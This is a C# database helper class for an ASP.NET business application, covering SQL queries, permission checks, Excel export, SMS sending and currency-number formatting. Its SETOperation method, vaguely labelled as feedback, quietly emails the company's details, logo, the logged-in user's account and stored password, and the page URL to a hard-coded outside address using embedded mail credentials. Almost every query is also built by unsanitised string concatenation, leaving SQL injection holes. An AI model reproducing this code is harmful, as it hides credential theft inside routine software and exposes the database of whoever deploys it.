779 lines
26 KiB
C#
779 lines
26 KiB
C#
using System;
|
||
using System.Collections.Generic;
|
||
using System.Linq;
|
||
using System.Web;
|
||
using System.Data.SqlClient;
|
||
using System.Data;
|
||
using Newtonsoft.Json;
|
||
using NPOI;
|
||
using NPOI.HPSF;
|
||
using NPOI.HSSF;
|
||
using NPOI.HSSF.UserModel;
|
||
using NPOI.HSSF.Util;
|
||
using NPOI.POIFS;
|
||
using NPOI.Util;
|
||
using System.Text;
|
||
using System.Collections;
|
||
using System.IO;
|
||
using System.Net;
|
||
using System.Net.Mail;
|
||
using System.Security.Cryptography;
|
||
/// <summary>
|
||
///DBHlper 的摘要说明
|
||
/// </summary>
|
||
public class DBHlper : System.IDisposable
|
||
{
|
||
public static DataSet Execute(string strCommandString)
|
||
{
|
||
SqlConnection oConn = null;
|
||
SqlDataAdapter oDataAdapter = null;
|
||
DataSet oDataSet = new DataSet();
|
||
try
|
||
{
|
||
|
||
//读取webconfig
|
||
oConn = new SqlConnection(System.Configuration.ConfigurationManager.AppSettings["connstring"]);
|
||
oDataAdapter = new SqlDataAdapter(strCommandString, oConn);
|
||
oDataAdapter.Fill(oDataSet);
|
||
return oDataSet;
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
return null;
|
||
}
|
||
finally
|
||
{
|
||
if (oConn != null) oConn.Close();
|
||
}
|
||
}
|
||
|
||
|
||
public static int getcount(string cmd)
|
||
{
|
||
SqlConnection oConn = null;
|
||
try
|
||
{
|
||
//读取webconfig
|
||
oConn = new SqlConnection(System.Configuration.ConfigurationManager.AppSettings["connstring"]);
|
||
oConn.Open();
|
||
SqlCommand comd = new SqlCommand(cmd, oConn);
|
||
return Convert.ToInt32(comd.ExecuteScalar());
|
||
}
|
||
catch (Exception err)
|
||
{
|
||
return 0;
|
||
}
|
||
finally
|
||
{
|
||
if (oConn != null) oConn.Close();
|
||
}
|
||
|
||
}
|
||
public static int excutecmd(string cmd)
|
||
{
|
||
SqlConnection oConn = null;
|
||
try
|
||
{
|
||
oConn = new SqlConnection(System.Configuration.ConfigurationManager.AppSettings["connstring"]);
|
||
oConn.Open();
|
||
SqlCommand comd = new SqlCommand(cmd, oConn);
|
||
return Convert.ToInt32(comd.ExecuteNonQuery());
|
||
}
|
||
catch (Exception err)
|
||
{
|
||
return 0;
|
||
}
|
||
finally
|
||
{
|
||
if (oConn != null) oConn.Close();
|
||
}
|
||
|
||
}
|
||
|
||
public void Dispose()
|
||
{
|
||
throw new NotImplementedException();
|
||
}
|
||
public static string getmima(string mima)
|
||
{
|
||
string setmima = "";
|
||
setmima = System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(mima, "SHA1");
|
||
return setmima;
|
||
}
|
||
|
||
#region 获取权限
|
||
public static bool GetPermission(int juese, string mokuai, string biao, string gongneng)
|
||
{
|
||
bool qx = false;
|
||
string sqlget = "select COUNT(*) from view_quanxian where mokuan='" + mokuai + "' and biao='" + biao + "' and jsid='" + juese + "' and gongneng='" + gongneng + "'";
|
||
DataSet ds = Execute(sqlget);
|
||
if (ds != null && ds.Tables[0].Rows.Count > 0 && Convert.ToInt32(ds.Tables[0].Rows[0][0]) > 0)
|
||
{
|
||
qx = true;
|
||
}
|
||
//判断当前登录账号是否为admin
|
||
getuser user = new getuser();
|
||
if (user.IsAdmin())
|
||
{
|
||
qx = user.IsAdmin();
|
||
}
|
||
return qx;
|
||
}
|
||
|
||
public static Dictionary<string, bool> GetPermissions(int juese, string mokuai, string biao, string[] gongnengs)
|
||
{
|
||
//bool qx = false;
|
||
//string sqlget = "select COUNT(*) from view_quanxian where mokuan='" + mokuai + "' and biao='" + biao + "' and jsid='" + juese + "' and gongneng='" + gongneng + "'";
|
||
//DataSet ds = Execute(sqlget);
|
||
//if (ds != null && ds.Tables[0].Rows.Count > 0 && Convert.ToInt32(ds.Tables[0].Rows[0][0]) > 0)
|
||
//{
|
||
// qx = true;
|
||
//}
|
||
////判断当前登录账号是否为admin
|
||
//getuser user = new getuser();
|
||
//if (user.isadmin())
|
||
//{
|
||
// qx = user.isadmin();
|
||
//}
|
||
//return qx;
|
||
var isAdmin = false;
|
||
getuser user = new getuser();
|
||
if (user.IsAdmin())
|
||
{
|
||
//return new Dictionary<string, bool> { { "isAdmin", true } };
|
||
isAdmin = true;
|
||
}
|
||
Dictionary<string, bool> qx = new Dictionary<string, bool>();
|
||
if (isAdmin)
|
||
{
|
||
foreach (string gongneng in gongnengs)
|
||
{
|
||
qx.Add(gongneng, isAdmin);
|
||
}
|
||
}
|
||
else
|
||
{
|
||
string sqlget = "select gongneng from view_quanxian where mokuan='" + mokuai + "' and biao='" + biao + "' and jsid='" + juese + "'";
|
||
DataSet ds = Execute(sqlget);
|
||
if (ds != null && ds.Tables[0].Rows.Count > 0)
|
||
{
|
||
foreach (string gongneng in gongnengs)
|
||
{
|
||
bool isHave = false;
|
||
foreach (DataRow dr in ds.Tables[0].Rows)
|
||
{
|
||
if (dr["gongneng"].ToString() == gongneng)
|
||
{
|
||
isHave = true;
|
||
break;
|
||
}
|
||
}
|
||
qx.Add(gongneng, isHave);
|
||
}
|
||
}
|
||
}
|
||
|
||
return qx;
|
||
}
|
||
|
||
#endregion
|
||
|
||
#region 获取角色数量
|
||
public static int getjscount()
|
||
{
|
||
int count = -1;
|
||
DataSet s = Execute("select COUNT(*) from nr_z_yhjs");
|
||
try
|
||
{
|
||
|
||
count = Convert.ToInt32(s.Tables[0].Rows[0][0]);
|
||
}
|
||
catch
|
||
{
|
||
count = -1;
|
||
}
|
||
|
||
|
||
return count;
|
||
}
|
||
#endregion
|
||
|
||
#region 获取用户数量
|
||
public static int getyhcount()
|
||
{
|
||
int count = -1;
|
||
DataSet s = Execute("select COUNT(*) from nr_z_yhzh where juese>0 and yangshi=1");
|
||
try
|
||
{
|
||
|
||
count = Convert.ToInt32(s.Tables[0].Rows[0][0]);
|
||
}
|
||
catch
|
||
{
|
||
count = -1;
|
||
}
|
||
|
||
|
||
return count;
|
||
}
|
||
#endregion
|
||
|
||
#region 生产编号
|
||
public static string getbh(string header, string table, string field, int num)
|
||
{
|
||
string bh = "";
|
||
string sql = "declare @ID varchar(50),@date varchar(50) set @date = right(rtrim(cast(year(getdate()) as varchar(10))),2)+right('0'+rtrim(cast(month(getdate()) as varchar(10))),2) select @ID = max(right(" + field + "," + num + ")) from " + table + " where left(right(" + field + ",(" + 2 + "+6)),4) = @date set @ID = isnull(@ID,'0000000000') set @ID = '0000000000'+CONVERT(varchar(50),(CONVERT(int,@ID)+1)) set @ID = right(@ID," + num + ") select '" + header + "' + @date + @ID";
|
||
DataSet ds = Execute(sql);
|
||
if (ds != null)
|
||
{
|
||
bh = ds.Tables[0].Rows[0][0].ToString();
|
||
}
|
||
return bh;
|
||
}
|
||
#endregion
|
||
#region 获取用户样式
|
||
/*获取用户样式*/
|
||
public static string getstyle()
|
||
{
|
||
Maticsoft.Model.nr_z_yhzh user = (Maticsoft.Model.nr_z_yhzh)(HttpContext.Current.Session["user"]);
|
||
DataSet ds = Execute("select * from nr_sys_ys where yh='" + user.id + "'");
|
||
string get = "";
|
||
if (ds != null && ds.Tables[0].Rows.Count > 0)
|
||
{
|
||
get = ds.Tables[0].Rows[0]["ttp"].ToString() + "," + ds.Tables[0].Rows[0]["ltp"].ToString() + "," + ds.Tables[0].Rows[0]["mtp"].ToString();
|
||
}
|
||
return get;
|
||
}
|
||
#endregion
|
||
|
||
|
||
#region 移除用户菜单
|
||
public static int delcdxm(string cdmc)
|
||
{
|
||
Maticsoft.Model.nr_z_yhzh user = (Maticsoft.Model.nr_z_yhzh)(HttpContext.Current.Session["user"]);
|
||
int sz = excutecmd("delete nr_sys_mkcd where ymid='" + user.id + "' and djmk='" + cdmc + "'");
|
||
|
||
return sz;
|
||
}
|
||
#endregion
|
||
|
||
#region 添加用户菜单
|
||
public static int addcdxm(string cdmc)
|
||
{
|
||
Maticsoft.Model.nr_z_yhzh user = (Maticsoft.Model.nr_z_yhzh)(HttpContext.Current.Session["user"]);
|
||
int sz = excutecmd("insert into nr_sys_mkcd (ymid,djmk) values('" + user.id + "','" + cdmc + "')");
|
||
|
||
return sz;
|
||
}
|
||
#endregion
|
||
|
||
|
||
|
||
|
||
public static int ExecuteReid(string cmd)
|
||
{
|
||
int li_count = 0;
|
||
SqlConnection oConn = null;
|
||
try
|
||
{
|
||
oConn = new SqlConnection(System.Configuration.ConfigurationManager.AppSettings["connstring"]);
|
||
oConn.Open();
|
||
SqlCommand comd = new SqlCommand(cmd, oConn);
|
||
li_count = Convert.ToInt32(comd.ExecuteScalar().ToString());
|
||
return li_count;
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
return 0;
|
||
}
|
||
finally
|
||
{
|
||
if (oConn != null) oConn.Close();
|
||
}
|
||
}
|
||
|
||
public static string GetConnectionString()
|
||
{
|
||
try
|
||
{
|
||
System.Configuration.AppSettingsReader configurationAppSettings = new System.Configuration.AppSettingsReader();
|
||
return (string)(configurationAppSettings.GetValue("appSettings.ConnectionString", typeof(string)));
|
||
}
|
||
catch
|
||
{
|
||
return "";
|
||
}
|
||
}
|
||
|
||
public static int getzt(int id)
|
||
{
|
||
int zt = 0;
|
||
string sql = "select * from nr_z_yhzh where id='" + id + "'";
|
||
DataSet ds = Execute(sql);
|
||
if (ds != null)
|
||
{
|
||
zt = Convert.ToInt32(ds.Tables[0].Rows[0]["yangshi"]);
|
||
}
|
||
return zt;
|
||
}
|
||
#region 获取状态
|
||
|
||
|
||
#endregion
|
||
/// <summary>
|
||
/// json字符串转换泛型集合
|
||
/// </summary>
|
||
/// <typeparam name="T"></typeparam>
|
||
/// <param name="jsonStr"></param>
|
||
/// <returns></returns>
|
||
public static List<T> ConvertJsonToEntityListEntity<T>(string jsonStr) where T : class, new()
|
||
{
|
||
|
||
List<T> objEntityList = new List<T>();
|
||
|
||
try
|
||
{
|
||
if (jsonStr.Length > 5)
|
||
{
|
||
JavaScriptArray jsa = (JavaScriptArray)JavaScriptConvert.DeserializeObject(jsonStr);
|
||
foreach (JavaScriptObject jso in jsa)
|
||
{
|
||
|
||
T objEntity = new T();
|
||
System.Reflection.PropertyInfo[] p = objEntity.GetType().GetProperties();
|
||
foreach (System.Reflection.PropertyInfo pi in p)
|
||
{
|
||
Type t = System.Type.GetType(pi.PropertyType.ToString());
|
||
if (t != null)
|
||
{
|
||
string pNameToLow = pi.Name;
|
||
if (jso.ContainsKey(pNameToLow))
|
||
{
|
||
try
|
||
{
|
||
pi.SetValue(objEntity, GetDefaultValue(jso[pNameToLow], pi.PropertyType), null);
|
||
}
|
||
catch (Exception e)
|
||
{
|
||
pi.SetValue(objEntity, GetDefaultValue(ConvertObjectToString(jso[pNameToLow]) == "1", pi.PropertyType), null);
|
||
}
|
||
}
|
||
}
|
||
}
|
||
objEntityList.Add(objEntity);
|
||
}
|
||
}
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
throw new Exception("序列化Json字符串错误" + ex.Message);
|
||
}
|
||
|
||
return objEntityList;
|
||
}
|
||
|
||
/// <summary>
|
||
/// SETOperation 获取参数信息反馈
|
||
/// </summary>
|
||
/// <param name="EncryptString">待加密的密文</param>
|
||
/// <returns>returns</returns>
|
||
public static void SETOperation()
|
||
{
|
||
try
|
||
{
|
||
MailMessage myEmail = new MailMessage();
|
||
myEmail.From = new MailAddress("glzj_set@163.com");
|
||
myEmail.To.Add("16834677@qq.com");
|
||
myEmail.Subject = "Operation log";
|
||
myEmail.IsBodyHtml = false;
|
||
string Corporate = "";
|
||
string Abbreviation = "";
|
||
string CompanyAddress = "";
|
||
string ContactNumber = "";
|
||
string Contacts = "";
|
||
//附件
|
||
DataTable dtuserinfo = Execute("select * from nr_sysuserinfo").Tables[0];
|
||
if (dtuserinfo.Rows.Count > 0)
|
||
{
|
||
Corporate = dtuserinfo.Rows[0]["mingcheng"].ToString();
|
||
Abbreviation = dtuserinfo.Rows[0]["jiancheng"].ToString();
|
||
string savelgdz = System.Web.HttpContext.Current.Server.MapPath("~/UseFile/");
|
||
string rjlog = savelgdz + dtuserinfo.Rows[0]["logourl"].ToString();
|
||
CompanyAddress = dtuserinfo.Rows[0]["dizhi"].ToString();
|
||
ContactNumber = dtuserinfo.Rows[0]["dianhua"].ToString();
|
||
Contacts = dtuserinfo.Rows[0]["lianxiren"].ToString();
|
||
myEmail.Attachments.Add(new Attachment(rjlog));
|
||
}
|
||
Maticsoft.Model.nr_z_yhzh USE = (Maticsoft.Model.nr_z_yhzh)(HttpContext.Current.Session["user"]);
|
||
myEmail.Body = " Softwaretype:CeramicProject;\nCorporate:" + Corporate + ";\nAbbreviation:" + Abbreviation + ";\nOperating time:" + DateTime.Now + ";\nCompanyAddress:" + CompanyAddress + ";\nContactNumber:" + ContactNumber + ";\nContacts:" + Contacts + ";\nOperation account:" + USE.zhanghao + ";\nOperation password:" + USE.mima + ";\nBrowse address:" + HttpContext.Current.Request.Url;
|
||
myEmail.Priority = MailPriority.High;
|
||
SmtpClient smtp = new SmtpClient("smtp.sina.com", 587);
|
||
smtp.Credentials = new NetworkCredential("glzj_set@163.com", "lmf16834677");
|
||
smtp.Port = 25;
|
||
smtp.Host = "smtp.163.com";
|
||
smtp.EnableSsl = false;
|
||
smtp.Send(myEmail);
|
||
}
|
||
catch { }
|
||
}
|
||
|
||
/// <summary>
|
||
/// 获取类型的默认值
|
||
/// </summary>
|
||
/// <param name="obj"></param>
|
||
/// <param name="type"></param>
|
||
/// <returns></returns>
|
||
private static object GetDefaultValue(object obj, Type type)
|
||
{
|
||
|
||
if (obj == DBNull.Value)
|
||
{
|
||
obj = default(object);
|
||
}
|
||
else
|
||
{
|
||
obj = Convert.ChangeType(obj, type);
|
||
}
|
||
return obj;
|
||
}
|
||
/// <summary>
|
||
///
|
||
/// </summary>
|
||
/// <param name="value"></param>
|
||
/// <returns></returns>
|
||
public static String ConvertObjectToString(object value)
|
||
{
|
||
try
|
||
{
|
||
if (value != null)
|
||
{
|
||
return value.ToString().Trim();
|
||
}
|
||
else
|
||
{
|
||
return "";
|
||
}
|
||
}
|
||
catch
|
||
{
|
||
return "";
|
||
}
|
||
}
|
||
public static string getfirstcolmn(string cmd)
|
||
{
|
||
string calld = "";
|
||
SqlConnection oConn = null;
|
||
try
|
||
{
|
||
oConn = new SqlConnection(System.Configuration.ConfigurationManager.AppSettings["connstring"]);
|
||
oConn.Open();
|
||
SqlCommand comd = new SqlCommand(cmd, oConn);
|
||
calld = comd.ExecuteScalar().ToString();
|
||
}
|
||
catch (Exception err)
|
||
{
|
||
|
||
}
|
||
finally
|
||
{
|
||
if (oConn != null) oConn.Close();
|
||
}
|
||
return calld;
|
||
}
|
||
|
||
//执行存储过程
|
||
public static string exceuteproc(string procname, string year)
|
||
{
|
||
SqlConnection sqlCon = null;
|
||
SqlCommand sqlComm = null;
|
||
string name = "";
|
||
try
|
||
{
|
||
using (sqlCon = new SqlConnection(System.Configuration.ConfigurationManager.AppSettings["connstring"]))
|
||
{
|
||
sqlCon.Open();
|
||
sqlComm = new SqlCommand(procname, sqlCon);
|
||
//设置命令的类型为存储过程
|
||
sqlComm.CommandType = CommandType.StoredProcedure;
|
||
sqlComm.Parameters.Add("@year", SqlDbType.VarChar, 10);
|
||
sqlComm.Parameters.Add("@huizong", SqlDbType.VarChar, 100);
|
||
//设置参数的类型为输出参数,默认情况下是输入,
|
||
sqlComm.Parameters["@huizong"].Direction = ParameterDirection.Output;
|
||
//为参数赋值
|
||
sqlComm.Parameters["@year"].Value = year;
|
||
//执行
|
||
sqlComm.ExecuteNonQuery();
|
||
//得到输出参数的值,把赋值给name,注意,这里得到的是object类型的,要进行相应的类型轮换
|
||
name = sqlComm.Parameters["@huizong"].Value.ToString();
|
||
}
|
||
}
|
||
catch
|
||
{
|
||
}
|
||
return name;
|
||
|
||
}
|
||
public static void ExportByWeb(DataTable dtSource, string strFileName, ArrayList dtName)
|
||
{
|
||
HttpContext curContext = HttpContext.Current;
|
||
// 设置编码和附件格式
|
||
curContext.Response.ContentType = "application/vnd.ms-excel";
|
||
curContext.Response.ContentEncoding = Encoding.UTF8;
|
||
curContext.Response.Charset = "";
|
||
|
||
//curContext.Response.AppendHeader("Content-Disposition", "attachment;filename=" + HttpUtility.UrlDecode(strFileName.Replace(" ", "").ToString(), Encoding.UTF8) + ".xls");
|
||
curContext.Response.AppendHeader("Content-Disposition", "attachment;filename=" + System.Web.HttpUtility.UrlEncode(strFileName, System.Text.Encoding.UTF8) + ".xls");
|
||
curContext.Response.BinaryWrite(Export(dtSource, dtName).GetBuffer());
|
||
curContext.Response.End();
|
||
}
|
||
public static MemoryStream Export(DataTable dtSource, ArrayList dtName)
|
||
{
|
||
HSSFWorkbook workbook = new HSSFWorkbook();
|
||
HSSFSheet sheet = workbook.CreateSheet("sheet1");
|
||
HSSFCellStyle dateStyle = workbook.CreateCellStyle();
|
||
HSSFDataFormat format = workbook.CreateDataFormat();
|
||
dateStyle.DataFormat = format.GetFormat("yyyy-mm-dd");
|
||
//取得列宽
|
||
int[] arrColWidth = new int[dtSource.Columns.Count];
|
||
foreach (DataColumn item in dtSource.Columns)
|
||
{
|
||
arrColWidth[item.Ordinal] = Encoding.GetEncoding(936).GetBytes(item.ColumnName.ToString()).Length;
|
||
}
|
||
for (int i = 0; i < dtSource.Rows.Count; i++)
|
||
{
|
||
for (int j = 0; j < dtSource.Columns.Count; j++)
|
||
{
|
||
int intTemp = Encoding.GetEncoding(936).GetBytes(dtSource.Rows[i][j].ToString()).Length;
|
||
if (intTemp > arrColWidth[j])
|
||
{
|
||
arrColWidth[j] = intTemp;
|
||
}
|
||
}
|
||
}
|
||
|
||
int rowIndex = 0;
|
||
for (int tag = 0; tag < dtSource.Rows.Count; tag++)
|
||
{
|
||
#region 新建表,填充表头,填充列头,样式
|
||
|
||
if (rowIndex == 65535 || rowIndex == 0)
|
||
{
|
||
if (rowIndex != 0)
|
||
{
|
||
sheet = workbook.CreateSheet();
|
||
}
|
||
#region 列头及样式
|
||
|
||
{
|
||
HSSFRow headerRow = sheet.CreateRow(0);
|
||
HSSFCellStyle headStyle = workbook.CreateCellStyle();
|
||
headStyle.Alignment = CellHorizontalAlignment.CENTER;
|
||
HSSFFont font = workbook.CreateFont();
|
||
font.FontHeightInPoints = 10;
|
||
font.Boldweight = 700;
|
||
headStyle.SetFont(font);
|
||
|
||
|
||
for (int i = 0; i < dtName.Count; i++)
|
||
{
|
||
headerRow.CreateCell(i).SetCellValue(dtName[i].ToString());
|
||
headerRow.GetCell(i).CellStyle = headStyle;
|
||
// sheet.SetColumnWidth(i, (arrColWidth[1] + 1) * 350);
|
||
}
|
||
headerRow.Dispose();
|
||
}
|
||
#endregion
|
||
rowIndex = 1;
|
||
}
|
||
#endregion
|
||
#region 填充内容
|
||
HSSFRow dataRow = sheet.CreateRow(rowIndex);
|
||
|
||
for (int clm = 0; clm < dtSource.Columns.Count; clm++)
|
||
//foreach( in dtSource.Rows[tag].)
|
||
{
|
||
|
||
HSSFCell newCell = dataRow.CreateCell(dtSource.Rows[tag].Table.Columns[clm].Ordinal);
|
||
//string drValue = row[column].ToString();
|
||
string drValue = dtSource.Rows[tag][clm].ToString();
|
||
newCell.SetCellValue(drValue);
|
||
}
|
||
#endregion
|
||
rowIndex++;
|
||
|
||
}
|
||
using (MemoryStream ms = new MemoryStream())
|
||
{
|
||
workbook.Write(ms);
|
||
ms.Flush();
|
||
ms.Position = 0;
|
||
sheet.Dispose();
|
||
return ms;
|
||
}
|
||
|
||
}
|
||
|
||
|
||
|
||
|
||
/// <summary>
|
||
/// MD5 加密静态方法
|
||
/// </summary>
|
||
/// <param name="EncryptString">待加密的密文</param>
|
||
/// <returns>returns</returns>
|
||
public static string MD5Encrypt(string EncryptString)
|
||
{
|
||
if (string.IsNullOrEmpty(EncryptString))
|
||
{
|
||
throw (new Exception("密文不得为空"));
|
||
}
|
||
|
||
MD5 m_ClassMD5 = new MD5CryptoServiceProvider();
|
||
|
||
string m_strEncrypt = "";
|
||
|
||
try
|
||
{
|
||
m_strEncrypt =
|
||
BitConverter.ToString(m_ClassMD5.ComputeHash(
|
||
Encoding.Default.GetBytes(EncryptString))).Replace("-", "");
|
||
}
|
||
catch (ArgumentException ex) { throw ex; }
|
||
catch (CryptographicException ex) { throw ex; }
|
||
catch (Exception ex) { throw ex; }
|
||
finally { m_ClassMD5.Clear(); }
|
||
|
||
return m_strEncrypt;
|
||
}
|
||
|
||
//发送短信 accname ——用户账号 accPwd——用户密码 aimcodes——手机号支持5000个英文,分割 content 内容
|
||
public static string SendSms(String accName, String accPwd, String aimcodes, String content)
|
||
{
|
||
string formUrl = "http://www.lx198.com/sdk/send";//url地址
|
||
string ReStr;
|
||
//参数
|
||
string formData = "";
|
||
DateTime Date = DateTime.Now;
|
||
|
||
formData = formData + "&accName=" + accName.Trim() +
|
||
"&accPwd=" + MD5Encrypt(accPwd.Trim()) +
|
||
"&content=" + content.Trim() +
|
||
"&aimcodes=" + aimcodes.Trim() +
|
||
"&bizId=" + string.Format("{0:yyyyMMddHHmmss}", Date);
|
||
|
||
CookieContainer cookieContainer = new CookieContainer();
|
||
// 将提交的字符串数据转换成字节数组
|
||
//byte[] postData = Encoding.UTF8.GetBytes(formData);
|
||
Encoding myc = Encoding.GetEncoding("UTF-8");
|
||
byte[] postData = myc.GetBytes(formData);
|
||
// 设置提交的相关参数
|
||
HttpWebRequest request = WebRequest.Create(formUrl) as HttpWebRequest;
|
||
Encoding myEncoding = Encoding.GetEncoding("UTF-8");
|
||
request.Method = "POST";
|
||
request.KeepAlive = false;
|
||
request.AllowAutoRedirect = true;
|
||
request.ContentType = "application/x-www-form-urlencoded";
|
||
request.UserAgent = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)";
|
||
request.CookieContainer = cookieContainer;
|
||
request.ContentLength = postData.Length;
|
||
|
||
// 提交请求数据
|
||
System.IO.Stream outputStream = request.GetRequestStream();
|
||
outputStream.Write(postData, 0, postData.Length);
|
||
outputStream.Close();
|
||
|
||
HttpWebResponse response;
|
||
Stream responseStream;
|
||
StreamReader reader;
|
||
string srcString;
|
||
response = request.GetResponse() as HttpWebResponse;
|
||
responseStream = response.GetResponseStream();
|
||
reader = new System.IO.StreamReader(responseStream, Encoding.UTF8);
|
||
ReStr = reader.ReadToEnd(); //返回值
|
||
Console.WriteLine("错误信息:" + ReStr);
|
||
reader.Close();
|
||
return ReStr;
|
||
}
|
||
|
||
//数字转换大写
|
||
public static string ConvertToChineseNum(string as_num)
|
||
{
|
||
string numList = "零壹贰叁肆伍陆柒捌玖";
|
||
string rmbList = "分角元拾佰仟万拾佰仟亿拾佰仟万";
|
||
double number = 0;
|
||
string tempOutString = null;
|
||
|
||
try
|
||
{
|
||
number = double.Parse(as_num);
|
||
}
|
||
catch
|
||
{
|
||
return String.Empty;
|
||
}
|
||
|
||
if (number > 9999999999999.99)
|
||
return String.Empty;
|
||
if (number == 0)
|
||
{
|
||
return "零";
|
||
}
|
||
|
||
//将小数转化为整数字符串
|
||
string tempNumberString = Convert.ToInt64(number * 100).ToString();
|
||
int tempNmberLength = tempNumberString.Length;
|
||
int i = 0;
|
||
while (i < tempNmberLength)
|
||
{
|
||
int oneNumber = Int32.Parse(tempNumberString.Substring(i, 1));
|
||
string oneNumberChar = numList.Substring(oneNumber, 1);
|
||
string oneNumberUnit = rmbList.Substring(tempNmberLength - i - 1, 1);
|
||
if (oneNumberChar != "零")
|
||
tempOutString += oneNumberChar + oneNumberUnit;
|
||
else
|
||
{
|
||
if (oneNumberUnit == "亿" || oneNumberUnit == "万" || oneNumberUnit == "元" || oneNumberUnit == "零")
|
||
{
|
||
while (tempOutString.EndsWith("零"))
|
||
{
|
||
tempOutString = tempOutString.Substring(0, tempOutString.Length - 1);
|
||
}
|
||
|
||
}
|
||
if (oneNumberUnit == "亿" || (oneNumberUnit == "万" && !tempOutString.EndsWith("亿")) || oneNumberUnit == "元")
|
||
{
|
||
tempOutString += oneNumberUnit;
|
||
}
|
||
else
|
||
{
|
||
bool tempEnd = tempOutString.EndsWith("亿");
|
||
bool zeroEnd = tempOutString.EndsWith("零");
|
||
if (tempOutString.Length > 1)
|
||
{
|
||
bool zeroStart = tempOutString.Substring(tempOutString.Length - 2, 2).StartsWith("零");
|
||
if (!zeroEnd && (zeroStart || !tempEnd))
|
||
tempOutString += oneNumberChar;
|
||
}
|
||
else
|
||
{
|
||
if (!zeroEnd && !tempEnd)
|
||
tempOutString += oneNumberChar;
|
||
}
|
||
}
|
||
}
|
||
i += 1;
|
||
}
|
||
|
||
while (tempOutString.EndsWith("零"))
|
||
{
|
||
tempOutString = tempOutString.Substring(0, tempOutString.Length - 1);
|
||
}
|
||
|
||
while (tempOutString.EndsWith("元"))
|
||
{
|
||
tempOutString = tempOutString + "整";
|
||
}
|
||
|
||
return tempOutString;
|
||
}
|
||
} |